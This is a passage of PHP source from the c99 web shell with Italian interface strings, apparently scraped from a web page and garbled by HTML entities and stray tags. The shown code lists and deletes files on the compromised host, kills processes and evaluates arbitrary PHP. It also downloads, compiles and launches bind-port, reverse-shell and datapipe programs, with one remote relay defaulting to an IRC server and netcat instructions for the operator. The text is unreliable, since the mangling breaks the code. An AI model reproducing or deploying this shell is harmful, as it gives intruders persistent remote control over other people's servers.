if (is_link($v)) {$type = "LINK";}< br /> else {$type = "DIR";} $row[] = $v;
$row[] = $type;
}
elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
$row[] = filemtime($v);
if (!$win)
{
$ow = posix_getpwuid(file owner($v));
$gr = posix_getgrgid(file group($v));
$row[] = ($ow["name&quo t;]?$ow["name& quot;]:fileowner($v ))."/".($ gr["name" ]?$gr["name&qu ot;]:filegroup($v)) ;
}
$row[] = fileperms($v);
if (($o == "." or ($o == "..") {$objects["hea d"][] = $row;}
elseif (is_link($v)) {$objects["lin ks"][] = $row;}
elseif (is_dir($v)) {$objects["fol ders"][] = $row;}
elseif (is_file($v)) {$objects["fil es"][] = $row;}
$i++;
}
$row = array();
$row[] = "<b>Nome </b>"; $row[] = "<b>Dime nsione</b>&qu ot;;
$row[] = "<b>Modi ficare</b>&qu ot;;
if (!$win)
{$row[] = "<b>Prop rietario/Gruppi< /b>";}
$row[] = "<b>Perm essi</b>" ;;
$row[] = "<b>Azio ne</b>";
$parsesort = parsesort($sort); $sort = $parsesort[0].$pars esort[1];
$k = $parsesort[0];
if ($parsesort[1] != "a" {$parsesort[1] = "d";}
$y = "<a href=\"". $surl."act=&qu ot;.$dspact."& amp;d=".urlenc ode($d)."& sort=".$k.($pa rsesort[1] == "a"?" ;d":"a&qu ot."\"> ;";
$y .= "<img src=\"".$ surl."act=img& amp;img=sort_" .($sort[1] == "a"?" ;asc":"de sc"."\" height=\"9\&qu ot; width=\"14\&qu ot; alt=\"".( $parsesort[1] == "a"?" ;Asc.":"D esc"."\" border=\"0\&qu ot;></a>&q uot;;
$row[$k] .= $y;
for($i=0;$i<coun t($row)-1;$i++)
{
if ($i != $k) {$row[$i] = "<a href=\"". $surl."act=&qu ot;.$dspact."& amp;d=".urlenc ode($d)."& sort=".$i.$par sesort[1]."\&q uot;>".$row [$i]."</a&g t;";}
}
$v = $parsesort[0];
usort($objects[&quo t;folders"], "tabsort"< img src='images/wink.gi f' />;
usort($objects[&quo t;links"], "tabsort"< img src='images/wink.gi f' />;
usort($objects[&quo t;files"], "tabsort"< img src='images/wink.gi f' />;
if ($parsesort[1] == "d"
{
$objects["fold ers"] = array_reverse($obje cts["folders&q uot;]);
$objects["file s"] = array_reverse($obje cts["files&quo t;]);
}
$objects = array_merge($object s["head"] ,$objects["fol ders"],$object s["links" ],$objects["fi les"]);
$tab = array();
$tab["cols&quo t;] = array($row);
$tab["head&quo t;] = array();
$tab["folders& quot;] = array();
$tab["links&qu ot;] = array();
$tab["files&qu ot;] = array();
$i = 0;
foreach ($objects as $a)
{
$v = $a[0];
$o = basename($v);
$dir = dirname($v);
if ($disp_fullpath) {$disppath = $v;}
else {$disppath = $o;}
$disppath = str2mini($disppath, 60);
if (in_array($v,$sess_ data["cut" ;])) {$disppath = "<strike> ;".$disppath.& quot;</strike> ;";}
elseif (in_array($v,$sess_ data["copy&quo t;])) {$disppath = "<u>&quo t;.$disppath." </u>";}< br /> foreach ($regxp_highlight as $r)
{
if (ereg($r[0],$o))
{
if ((!is_numeric($r[1] )) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Attenzione! Errore nella configurazione \$regxp_highlight[& quot;.$k."][0] - comando sconosciuto."; c99shexit();}
else
{
$r[1] = round($r[1]);
$isdir = is_dir($v);
if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
{
if (empty($r[2])) {$r[2] = "<b>&quo t;; $r[3] = "</b>&qu ot;;}
$disppath = $r[2].$disppath.$r[ 3];
if ($r[4]) {break;}
}
}
}
}
$uo = urlencode($o);
$ud = urlencode($dir);
$uv = urlencode($v);
$row = array();
if ($o == "."
{
$row[] = "<img src=\"".$ surl."act=img& amp;img=small_dir\& quot; height=\"16\&q uot; width=\"19\&qu ot; border=\"0\&qu ot;>&nbsp;&l t;a href=\"". $surl."act=&qu ot;.$dspact."& amp;d=".urlenc ode(realpath($d.$o) )."&sort=& quot;.$sort."\ ">".$o ."</a>&q uot;;
$row[] = "LINK"; }
elseif ($o == ".."
{
$row[] = "<img src=\"".$ surl."act=img& amp;img=ext_lnk\&qu ot; height=\"16\&q uot; width=\"19\&qu ot; border=\"0\&qu ot;>&nbsp;&l t;a href=\"". $surl."act=&qu ot;.$dspact."& amp;d=".urlenc ode(realpath($d.$o) )."&sort=& quot;.$sort."\ ">".$o ."</a>&q uot;;
$row[] = "LINK"; }
elseif (is_dir($v))
{
if (is_link($v))
{
$disppath .= " => ".readlink($v) ;
$type = "LINK"; $row[] = "<img src=\"".$ surl."act=img& amp;img=ext_lnk\&qu ot; height=\"16\&q uot; width=\"16\&qu ot; border=\"0\&qu ot;>&nbsp;&l t;a href=\"". $surl."act=ls& amp;d=".$uv.&q uot;&sort=" ;.$sort."\&quo t;>[".$disp path."]</a& gt;";
}
else
{
$type = "DIR";
$row[] = "<img src=\"".$ surl."act=img& amp;img=small_dir\& quot; height=\"16\&q uot; width=\"19\&qu ot; border=\"0\&qu ot;>&nbsp;&l t;a href=\"". $surl."act=ls& amp;d=".$uv.&q uot;&sort=" ;.$sort."\&quo t;>[".$disp path."]</a& gt;";
}
$row[] = $type;
}
elseif(is_file($v))
{
$ext = explode(".&quo t;,$o);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext); $row[] = "<img src=\"".$ surl."act=img& amp;img=ext_". $ext."\" border=\"0\&qu ot;>&nbsp;&l t;a href=\"". $surl."act=f&a mp;f=".$uo.&qu ot;&d=".$u d."&\" ;>".$disppa th."</a> ";
$row[] = view_size($a[1]); }
$row[] = date("d.m.Y H:i:s",$a[2]);
if (!$win) {$row[] = $a[3];}
$row[] = "<a href=\"". $surl."act=chm od&f=".$uo ."&d=" ;.$ud."\" ><b>" .view_perms_color($ v)."</b> </a>"; if ($o == "." {$checkbox = "<input type=\"checkbo x\" name=\"actbox[ ]\" onclick=\"ls_r everse_all();\" ;>"; $i--;}
else {$checkbox = "<input type=\"checkbo x\" name=\"actbox[ ]\" id=\"actbox&qu ot;.$i."\" ; value=\"" .htmlspecialchars($ v)."\"> ;";}
if (is_dir($v)) {$row[] = "<a href=\"". $surl."act=d&a mp;d=".$uv.&qu ot;\"><i mg src=\"".$ surl."act=img& amp;img=ext_diz\&qu ot; alt=\"Info\&qu ot; height=\"16\&q uot; width=\"16\&qu ot; border=\"0\&qu ot;></a>&a mp;nbsp;".$che ckbox;}
else {$row[] = "<a href=\"". $surl."act=f&a mp;f=".$uo.&qu ot;&ft=info& ;d=".$ud." ;\"><img src=\"".$ surl."act=img& amp;img=ext_diz\&qu ot; alt=\"Info\&qu ot; height=\"16\&q uot; width=\"16\&qu ot; border=\"0\&qu ot;></a>&a mp;nbsp;<a href=\"". $surl."act=f&a mp;f=".$uo.&qu ot;&ft=edit& ;d=".$ud." ;\"><img src=\"".$ surl."act=img& amp;img=change\&quo t; alt=\"Change\& quot; height=\"16\&q uot; width=\"19\&qu ot; border=\"0\&qu ot;></a>&a mp;nbsp;<a href=\"". $surl."act=f&a mp;f=".$uo.&qu ot;&ft=download &d=".$ud.& quot;\">< ;img src=\"".$ surl."act=img& amp;img=download\&q uot; alt=\"Download \" height=\"16\&q uot; width=\"19\&qu ot; border=\"0\&qu ot;></a>&a mp;nbsp;".$che ckbox;}
if (($o == "." or ($o == "..") {$tab["head&qu ot;][] = $row;}
elseif (is_link($v)) {$tab["links&q uot;][] = $row;}
elseif (is_dir($v)) {$tab["folders "][] = $row;}
elseif (is_file($v)) {$tab["files&q uot;][] = $row;}
$i++;
}
}
// Compiling table
$table = array_merge($tab[&q uot;cols"],$ta b["head"] ,$tab["folders "],$tab[" links"],$tab[& quot;files"]);
echo "<center> ;<b>Lista cartelle (".count($tab[ "files"]) ." files and ".(count($tab[ "folders" ])+count($tab[" ;links"])).&qu ot; folders):</b> </center>< br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#4 33333 border=0><for m action=\"" ;.$surl."\&quo t; method=POST name=\"ls_form \"><inpu t type=hidden name=act value=".$dspac t."><inp ut type=hidden name=d value=".$d.&qu ot;>";
foreach($table as $row)
{
echo "<tr>\r\ n";
foreach($row as $v) {echo "<td>&qu ot;.$v."</t d>\r\n";} echo "</tr>\r \n";
}
echo "</table> ;<hr size=\"1\" ; noshade><p align=\"right\ ">
<script>
function ls_setcheckboxall(s tatus)
{
var id = 1;
var num = ".(count($tabl e)-2).";
while (id <= num)
{
document.getElement ById('actbox'+id).c hecked = status;
id++;
}
}
function ls_reverse_all()
{
var id = 1;
var num = ".(count($tabl e)-2).";
while (id <= num)
{
document.getElement ById('actbox'+id).c hecked = !document.getElemen tById('actbox'+id). checked;
id++;
}
}
</script>
<input type=\"button\ " onclick=\"ls_s etcheckboxall(true) ;\" value=\"Selezi ona tutto\">&am p;nbsp;&nbsp;&l t;input type=\"button\ " onclick=\"ls_s etcheckboxall(false );\" value=\"Desele ziona tutto\">
<b><img src=\"".$ surl."act=img& amp;img=arrow_ltr\& quot; border=\"0\&qu ot;>";
if (count(array_merge( $sess_data["co py"],$sess_dat a["cut"]) ) > 0 and ($usefsbuff))
{
echo "<input type=submit name=actarcbuff value=\"Pacco buffer di archivio\"> &nbsp;<input type=\"text\&q uot; name=\"actarcb uff_path\" value=\"archiv e_".substr(md5 (rand(1,1000).rand( 1,1000)),0,5)." ;.tar.gz\"> &nbsp;&nbsp ;&nbsp;&nbs p;&nbsp;&nb sp;<input type=submit name=\"actpast ebuff\" value=\"Paste\ ">&nbsp ;&nbsp;&nbs p;&nbsp;&nb sp;&nbsp;<in put type=submit name=\"actempt ybuff\" value=\"Empty buffer\">&a mp;nbsp;&nbsp;& amp;nbsp;&nbsp; &nbsp;&nbsp ;";
}
echo "<select name=act><opt ion value=\"" .$act."\" >Quello selezionato:</op tion>";
echo "<option value=delete". ($dspact == "delete"? " selected":&quo t;".">Cancel la</option>&q uot;;
echo "<option value=chmod".( $dspact == "chmod"?& quot; selected":&quo t;".">Cambia -Modo</option> ;";
if ($usefsbuff)
{
echo "<option value=cut".($d spact == "cut"?&qu ot; selected":&quo t;".">Taglia </option>&quo t;;
echo "<option value=copy".($ dspact == "copy"?&q uot; selected":&quo t;".">Copia& lt;/option>" ;;
echo "<option value=unselect" ;.($dspact == "unselect" ;?" selected":&quo t;".">Desele ziona</option> ;";
}
echo "</select&g t;&nbsp;<inp ut type=submit value=\"Confer ma\"></p >";
echo "</form> ";
}
}
if ($act == "tools"
{
$bndportsrcs = array(
"c99sh_bindpor t.pl"=>arra y("Using PERL","pe rl %path %port",
"c99sh_bindpor t.c"=>array ("Using C","%path %port %pass"
);
$bcsrcs = array(
"c99sh_backcon n.pl"=>arra y("Using PERL","pe rl %path %host %port",
"c99sh_backcon n.c"=>array ("Using C","%path %host %port"
);
$dpsrcs = array(
"c99sh_datapip e.pl"=>arra y("Using PERL","pe rl %path %localport %remotehost %remoteport",
"c99sh_datapip e.c"=>array ("Using C","%path %localport %remoteport %remotehost"
);
if (!is_array($bind)) {$bind = array();}
if (!is_array($bc)) {$bc = array();}
if (!is_array($datapip e)) {$datapipe = array();}

if (!is_numeric($bind[ "port"])) {$bind["port&q uot;] = $bindport_port;}
if (empty($bind[" pass"])) {$bind["pass&q uot;] = $bindport_pass;}

if (empty($bc["ho st"])) {$bc["host&quo t;] = getenv("REMOTE _ADDR";}
if (!is_numeric($bc[&q uot;port"])) {$bc["port&quo t;] = $bc_port;}

if (empty($datapipe[&q uot;remoteaddr" ;])) {$datapipe["re moteaddr"] = "irc.dalnet.ru :6667";}
if (!is_numeric($datap ipe["localport "])) {$datapipe["lo calport"] = $datapipe_localport ;}
if (!empty($bindsubmit ))
{
echo "<b>Risu ltato della porta a cui si e' associati:</b> ;<br>";< br /> $v = $bndportsrcs[$bind[ "src"]];< br /> if (empty($v)) {echo "File sconosciuto!<br& gt;";}
elseif (fsockopen(getenv(& quot;SERVER_ADDR&qu ot,$bind["port "],$errno,$err str,0.1)) {echo "Porta ancora in uso, selezionane un altra!<br>&qu ot;;}
else
{
$w = explode(".&quo t;,$bind["src& quot;]);
$ext = $w[count($w)-1];
unset($w[count($w)- 1]);
$srcpath = join(".", $w).".".r and(0,999).".& quot;.$ext;
$binpath = $tmpdir.join(" .",$w).rand(0, 999);
if ($ext == "pl" {$binpath = $srcpath;}
@unlink($srcpath);< br /> $fp = fopen($srcpath,&quo t;ab+";
if (!$fp) {echo "Non puoi scrivere i codici \"".$srcp ath."\"!& lt;br>";} elseif (!$data = c99getsource($bind[ "src"])) {echo "Non puoi scaricare il codice!";}
else
{
fwrite($fp,$data,st rlen($data));
fclose($fp);
if ($ext == "c" {$retgcc = myshellexec("g cc -o ".$binpath.&qu ot; ".$srcpath); @unlink($srcpath);}
$v[1] = str_replace("% path",$binpath ,$v[1]);
$v[1] = str_replace("% port",$bind[&q uot;port"],$v[ 1]);
$v[1] = str_replace("% pass",$bind[&q uot;pass"],$v[ 1]);
$v[1] = str_replace("/ /","/&quo t;,$v[1]);
$retbind = myshellexec($v[1].& quot; > /dev/null &";
sleep(5);
$sock = fsockopen("loc alhost",$bind[ "port"],$ errno,$errstr,5); if (!$sock) {echo "Non posso connettermi al localhost:".$b ind["port" ;]."! Penso che dovresti configurare il tuo firewall.";} else {echo "Associamento. .. ok! Connessione a <b>".get env("SERVER_AD DR".":".$b ind["port" ;]."</b> ! Dovresti usare NetCat&copy;, run \"<b>nc -v ".getenv(" ;SERVER_ADDR"." ".$bind[" port"]."& lt;/b>\"!&l t;center><a href=\"". $surl."act=pro cesses&grep=&qu ot;.basename($binpa th)."\"&g t;<u>Guarda i processi associati</u> </a></cent er>";}
}
echo "<br>&qu ot;;
}
}
if (!empty($bcsubmit))
{
echo "<b>Risu ltato di una connessione precedente:</b&g t;<br>";
$v = $bcsrcs[$bc["s rc"]];
if (empty($v)) {echo "File sconosciuto!<br& gt;";}
else
{
$w = explode(".&quo t;,$bc["src&qu ot;]);
$ext = $w[count($w)-1];
unset($w[count($w)- 1]);
$srcpath = join(".", $w).".".r and(0,999).".& quot;.$ext;
$binpath = $tmpdir.join(" .",$w).rand(0, 999);
if ($ext == "pl" {$binpath = $srcpath;}
@unlink($srcpath);< br /> $fp = fopen($srcpath,&quo t;ab+";
if (!$fp) {echo "Non posso scrivere i codici su \"".$srcp ath."\"!& lt;br>";} elseif (!$data = c99getsource($bc[&q uot;src"])) {echo "Non posso scaricare i codici!";}
else
{
fwrite($fp,$data,st rlen($data));
fclose($fp);
if ($ext == "c" {$retgcc = myshellexec("g cc -o ".$binpath.&qu ot; ".$srcpath); @unlink($srcpath);}
$v[1] = str_replace("% path",$binpath ,$v[1]);
$v[1] = str_replace("% host",$bc[&quo t;host"],$v[1] );
$v[1] = str_replace("% port",$bc[&quo t;port"],$v[1] );
$v[1] = str_replace("/ /","/&quo t;,$v[1]);
$retbind = myshellexec($v[1].& quot; > /dev/null &";
echo "Ora lo script tenterà di connettersi ".htmlspecialc hars($bc["host "]).":&qu ot;.htmlspecialchar s($bc["port&qu ot;])."...< br>";
}
}
}
if (!empty($dpsubmit))
{
echo "<b>Risu ltato del data-pipe in esecuzione:</b&g t;<br>";
$v = $dpsrcs[$datapipe[& quot;src"]]; if (empty($v)) {echo "Unknown file!<br>&quo t;;}
elseif (fsockopen(getenv(& quot;SERVER_ADDR&qu ot,$datapipe[" port"],$errno, $errstr,0.1)) {echo "Porta ancora in uso, selezionane un altra!<br>&qu ot;;}
else
{
$srcpath = $tmpdir.$datapipe[& quot;src"];
$w = explode(".&quo t;,$datapipe[" src"]);
$ext = $w[count($w)-1];
unset($w[count($w)- 1]);
$srcpath = join(".", $w).".".r and(0,999).".& quot;.$ext;
$binpath = $tmpdir.join(" .",$w).rand(0, 999);
if ($ext == "pl" {$binpath = $srcpath;}
@unlink($srcpath);< br /> $fp = fopen($srcpath,&quo t;ab+";
if (!$fp) {echo "Non puoi scrivere i codici \"".$srcp ath."\"!& lt;br>";} elseif (!$data = c99getsource($datap ipe["src" ])) {echo "Non puoi scaricare i codici!";}
else
{
fwrite($fp,$data,st rlen($data));
fclose($fp);
if ($ext == "c" {$retgcc = myshellexec("g cc -o ".$binpath.&qu ot; ".$srcpath); @unlink($srcpath);}
list($datapipe[&quo t;remotehost"] ,$datapipe["re moteport"]) = explode(":&quo t;,$datapipe[" remoteaddr"]);
$v[1] = str_replace("% path",$binpath ,$v[1]);
$v[1] = str_replace("% localport",$da tapipe["localp ort"],$v[1]);< br /> $v[1] = str_replace("% remotehost",$d atapipe["remot ehost"],$v[1]) ;
$v[1] = str_replace("% remoteport",$d atapipe["remot eport"],$v[1]) ;
$v[1] = str_replace("/ /","/&quo t;,$v[1]);
$retbind = myshellexec($v[1].& quot; > /dev/null &";
sleep(5);
$sock = fsockopen("loc alhost",$datap ipe["port" ;],$errno,$errstr,5 );
if (!$sock) {echo "Non posso connettermi al localhost:".$d atapipe["local port"]."! Penso che dovresti configurare il tuo firewall.";} else {echo "Esecuzione datapipe.. ok! Connesione a <b>".get env("SERVER_AD DR".":".$d atapipe["port& quot;].", e tu vuoi connetterti a ".$datapipe[&q uot;remoteaddr" ;]."</b> ! You should use NetCat&copy;, run \"<b>nc -v ".getenv(" ;SERVER_ADDR"." ".$bind[" port"]."& lt;/b>\"!&l t;center><a href=\"". $surl."act=pro cesses&grep=&qu ot;.basename($binpa th)."\"&g t;<u>Guarda il processo datapipe</u>& lt;/a></cente r>";}
}
echo "<br>&qu ot;;
}
}
?><b>Asso ciazione ad un porta:</b>< ;br><form action="<?p hp echo $surl; ?>">< input type=hidden name=act value=tools>< input type=hidden name=d value="<?ph p echo $d; ?>">Port a: <input type=text name="bind[por t]" value="<?ph p echo htmlspecialchars($b ind["port" ;]); ?>">& ;nbsp;Password: <input type=text name="bind[pas s]" value="<?ph p echo htmlspecialchars($b ind["pass" ;]); ?>">& ;nbsp;<select name="bind[src ]"><?php
foreach($bndportsr cs as $k=>$v) {echo "<option value=\"" .$k."\"&q uot;; if ($k == $bind["src&quo t;]) {echo " selected";} echo ">".$v [0]."</opti on>";}
?></select&g t;&nbsp;<inp ut type=submit name=bindsubmit value="Bind&qu ot;></form> ;
<b>Connession e precedente:</b&g t;<br><for m action="<?p hp echo $surl; ?>">< input type=hidden name=act value=tools>< input type=hidden name=d value="<?ph p echo $d; ?>">HOST : <input type=text name="bc[host] " value="<?ph p echo htmlspecialchars($b c["host"] ); ?>">& ;nbsp;Porta: <input type=text name="bc[port] " value="<?ph p echo htmlspecialchars($b c["port"] ); ?>">& ;nbsp;<select name="bc[src]& quot;><?php foreach($bcsrcs as $k=>$v) {echo "<option value=\"" .$k."\"&q uot;; if ($k == $bc["src" ]) {echo " selected";} echo ">".$v [0]."</opti on>";}
?></select> ;&nbsp;<inpu t type=submit name=bcsubmit value="Connett i"></for m>
Clicca "Connetti" ; solo dopo aprite la porta per esso. Si dovrebbe usare NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>&quo t;!<br><br >
<b>Datapipe:& lt;/b><br> <form action="<?p hp echo $surl; ?>">< input type=hidden name=act value=tools>< input type=hidden name=d value="<?ph p echo $d; ?>">HOST : <input type=text name="datapipe [remoteaddr]" value="<?ph p echo htmlspecialchars($d atapipe["remot eaddr"]); ?>">& ;nbsp;Porta locale: <input type=text name="datapipe [localport]" value="<?ph p echo htmlspecialchars($d atapipe["local port"]); ?>">& ;nbsp;<select name="datapipe [src]">< ?php
foreach($dpsrcs as $k=>$v) {echo "<option value=\"" .$k."\"&q uot;; if ($k == $bc["src" ]) {echo " selected";} echo ">".$v [0]."</opti on>";}
?></select> ;&nbsp;<inpu t type=submit name=dpsubmit value="Esegui& quot;></form& gt;<b>Note:&l t;/b> I codici veranno scaricati dal server remoto.<?php
}
if ($act == "processes&quo t
{
echo "<b>Proc essi:</b>< br>";
if (!$win) {$handler = "ps -aux".($grep?& quot; | grep '".addslashes( $grep)."'" ;:"";}
else {$handler = "tasklist" ;;}
$ret = myshellexec($handle r);
if (!$ret) {echo "Non posso eseguire \"".$hand ler."\"!& quot;;}
else
{
if (empty($processes_s ort)) {$processes_sort = $sort_default;}
$parsesort = parsesort($processe s_sort);
if (!is_numeric($parse sort[0])) {$parsesort[0] = 0;}
$k = $parsesort[0];
if ($parsesort[1] != "a" {$y = "<a href=\"". $surl."act=&qu ot;.$dspact."& amp;d=".urlenc ode($d)."& processes_sort=&quo t;.$k."a\" ;><img src=\"".$ surl."act=img& amp;img=sort_desc\& quot; height=\"9\&qu ot; width=\"14\&qu ot; border=\"0\&qu ot;></a>&q uot;;}
else {$y = "<a href=\"". $surl."act=&qu ot;.$dspact."& amp;d=".urlenc ode($d)."& processes_sort=&quo t;.$k."d\" ;><img src=\"".$ surl."act=img& amp;img=sort_asc\&q uot; height=\"9\&qu ot; width=\"14\&qu ot; border=\"0\&qu ot;></a>&q uot;;}
$ret = htmlspecialchars($r et);
if (!$win)
{
if ($pid)
{
if (is_null($sig)) {$sig = 9;}
echo "Invia segnale ".$sig." a #".$pid." ... ";
if (posix_kill($pid,$s ig)) {echo "OK.";} else {echo "ERRORE." ;}
}
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
$stack = explode("\n&qu ot;,$ret);
$head = explode(" ",$stack[0]);< br /> unset($stack[0]); for($i=0;$i<coun t($head);$i++)
{
if ($i != $k) {$head[$i] = "<a href=\"". $surl."act=&qu ot;.$dspact."& amp;d=".urlenc ode($d)."& processes_sort=&quo t;.$i.$parsesort[1] ."\">& lt;b>".$hea d[$i]."</b& gt;</a>" ;}
}
$prcs = array();
foreach ($stack as $line)
{
if (!empty($line))
{
echo "<tr>&qu ot;;
$line = explode(" ",$line);
$line[10] = join(" ",array_slice( $line,10));
$line = array_slice($line,0 ,11);
if ($line[0] == get_current_user()) {$line[0] = "<font color=blue>" ;.$line[0]."&l t;/font>";}
$line[] = "<a href=\"". $surl."act=pro cesses&d=" .urlencode($d).&quo t;&pid=".$ line[1]."& sig=9\">< ;u>TERMINA</u ></a>" ;;
$prcs[] = $line;
echo "</tr>&q uot;;
}
}
}
else
{
while (ereg(" ",$ret)) {$ret = str_replace(" ","" ,$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","" ,$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","" ,$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","" ,$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","" ,$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","" ,$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","" ,$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","" ,$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","" ,$ret);}
while (ereg("", $ret)) {$ret = str_replace("& quot;,"", $ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","" ,$ret);}
$ret = convert_cyr_string( $ret,"d", "w";
$stack = explode("\n&qu ot;,$ret);
unset($stack[0],$st ack[2]);
$stack = array_values($stack );
$head = explode("" ;,$stack[0]);
$head[1] = explode(" ",$head[1]); $head[1] = $head[1][0];
$stack = array_slice($stack, 1);
unset($head[2]);
$head = array_values($head) ;
if ($parsesort[1] != "a" {$y = "<a href=\"". $surl."act=&qu ot;.$dspact."& amp;d=".urlenc ode($d)."& processes_sort=&quo t;.$k."a\" ;><img src=\"".$ surl."act=img& amp;img=sort_desc\& quot; height=\"9\&qu ot; width=\"14\&qu ot; border=\"0\&qu ot;></a>&q uot;;}
else {$y = "<a href=\"". $surl."act=&qu ot;.$dspact."& amp;d=".urlenc ode($d)."& processes_sort=&quo t;.$k."d\" ;><img src=\"".$ surl."act=img& amp;img=sort_asc\&q uot; height=\"9\&qu ot; width=\"14\&qu ot; border=\"0\&qu ot;></a>&q uot;;}
if ($k > count($head)) {$k = count($head)-1;}
for($i=0;$i<coun t($head);$i++)
{
if ($i != $k) {$head[$i] = "<a href=\"". $surl."act=&qu ot;.$dspact."& amp;d=".urlenc ode($d)."& processes_sort=&quo t;.$i.$parsesort[1] ."\">& lt;b>".trim ($head[$i])."& lt;/b></a> ";}
}
$prcs = array();
foreach ($stack as $line)
{
if (!empty($line))
{
echo "<tr>&qu ot;;
$line = explode("" ;,$line);
$line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
$line[2] = intval(str_replace( " ","" ,$line[2]))*1024;
$prcs[] = $line;
echo "</tr>&q uot;;
}
}
}
$head[$k] = "<b>&quo t;.$head[$k]." </b>".$y ;
$v = $processes_sort[0];
usort($prcs,"t absort";
if ($processes_sort[1] == "d" {$prcs = array_reverse($prcs );}
$tab = array();
$tab[] = $head;
$tab = array_merge($tab,$p rcs);
echo "<TABLE height=1 cellSpacing=0 borderColorDark=#66 6666 cellPadding=5 width=\"100%\& quot; bgColor=#333333 borderColorLight=#c 0c0c0 border=1 bordercolor=\" #C0C0C0\">& quot;;
foreach($tab as $i=>$k)
{
echo "<tr>&qu ot;;
foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>&qu ot;.$v."</t d>";}
echo "</tr>&q uot;;
}
echo "</table> ;";
}
}
if ($act == "eval"
{
if (!empty($eval))
{
echo "<b>Risu ltato dell'esecuzione del PHP-code</b>: <br>"; $tmp = ob_get_contents();< br /> $olddir = realpath(".&qu ot;
@chdir($d);
if ($tmp)
{
ob_clean();
eval($eval);
$ret = ob_get_contents();< br /> $ret = convert_cyr_string( $ret,"d", "w";
ob_clean();
echo $tmp;
if ($eval_txt)
{
$rows = count(explode(" ;\r\n",$ret))+ 1;
if ($rows < 10) {$rows = 10;}
echo "<br>< ;textarea cols=\"122\&qu ot; rows=\"". $rows."\" readonly>". htmlspecialchars($r et)."</text area>";
}
else {echo $ret."<br&g t;";}
}
else
{
if ($eval_txt)
{
echo "<br>< ;textarea cols=\"122\&qu ot; rows=\"15\&quo t; readonly>";
eval($eval);
echo "</textarea >";
}
else {echo $ret;}
}
@chdir($olddir);
}
else {echo "<b>Esec uzione del PHP-code</b>& quot;; if (empty($eval_txt)) {$eval_txt = TRUE;}}
echo "<form action=\"" ;.$surl."\&quo t; method=POST>< input type=hidden name=act value=eval><t extarea name=\"eval\&q uot; cols=\"122\&qu ot; rows=\"10\&quo t;>".htmlsp ecialchars($eval).& quot;</textarea& gt;<input type=hidden name=\"d\" ; value=\"" .$dispd."\&quo t;><br>< ;br><input type=submit value=\"Esegui \">&nbs p;Scrivi nell'area di testo&nbsp;< input type=\"checkbo x\" name=\"eval_tx t\" value=\"1\&quo t;"; if ($eval_txt) {echo " checked";} echo "></form >";
}
if ($act == "f"
{
if ((!is_readable($d.$ f) or is_dir($d.$f)) and $ft != "edit"
{
if (file_exists($d.$f) ) {echo "<center> ;<b>Permessi negati (".htmlspecial chars($d.$f)."< img src='images/wink.gi f' />!</b></c enter>";} else {echo "<center> ;<b>File non esistente (".htmlspecial chars($d.$f)."< img src='images/wink.gi f' />!</b><br ><a href=\"". $surl."act=f&a mp;f=".urlenco de($f)."&f t=edit&d=" .urlencode($d).&quo t;&c=1\"&g t;<u>Crea< /u></a>< ;/center>"; }
}
else
{
$r = @file_get_contents( $d.$f);
$ext = explode(".&quo t;,$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext); $rft = "";
foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
if (eregi("sess_( .*)",$f)) {$rft = "phpsess" ;}
if (empty($ft)) {$ft = $rft;}
$arr = array(
array("<img src=\"".$ surl."act=img& amp;img=ext_diz\&qu ot; border=\"0\&qu ot;>"," ;info",
array("<img src=\"".$ surl."act=img& amp;img=ext_html\&q uot; border=\"0\&qu ot;>"," ;html",
array("<img src=\"".$ surl."act=img& amp;img=ext_txt\&qu ot; border=\"0\&qu ot;>"," ;txt",
array("Code&qu ot;,"code" ,
array("Session ","phpses s",
array("<img src=\"".$ surl."act=img& amp;img=ext_exe\&qu ot; border=\"0\&qu ot;>"," ;exe",
array("SDB&quo t;,"sdb",
array("<img src=\"".$ surl."act=img& amp;img=ext_gif\&qu ot; border=\"0\&qu ot;>"," ;img",
array("<img src=\"".$ surl."act=img& amp;img=ext_ini\&qu ot; border=\"0\&qu ot;>"," ;ini",
array("<img src=\"".$ surl."act=img& amp;img=download\&q uot; border=\"0\&qu ot;>"," ;download",
array("<img src=\"".$ surl."act=img& amp;img=ext_rtf\&qu ot; border=\"0\&qu ot;>"," ;notepad",
array("<img src=\"".$ surl."act=img& amp;img=change\&quo t; border=\"0\&qu ot;>"," ;edit"
);
echo "<b>Guar da file:&nbsp;& ;nbsp;&nbsp;&am p;nbsp;<img src=\"".$ surl."act=img& amp;img=ext_". $ext."\" border=\"0\&qu ot;>&nbsp;&q uot;.$f." (".view_size(f ilesize($d.$f)).&qu ot &nbsp;&nbsp ;&nbsp;&nbs p;&nbsp;". view_perms_color($d .$f)."</b&g t;<br>Selezio na azione/Tipo-file:&l t;br>";
foreach($arr as $t)
{
if ($t[1] == $rft) {echo " <a href=\"". $surl."act=f&a mp;f=".urlenco de($f)."&f t=".$t[1].&quo t;&d=".url encode($d)."\& quot;><font color=green>&quo t;.$t[0]."< /font></a> ";}
elseif ($t[1] == $ft) {echo " <a href=\"". $surl."act=f&a mp;f=".urlenco de($f)."&f t=".$t[1].&quo t;&d=".url encode($d)."\& quot;><b>& lt;u>".$t[0 ]."</u>& lt;/b></a> ";}
else {echo " <a href=\"". $surl."act=f&a mp;f=".urlenco de($f)."&f t=".$t[1].&quo t;&d=".url encode($d)."\& quot;><b>& quot;.$t[0]."& lt;/b></a> ";}
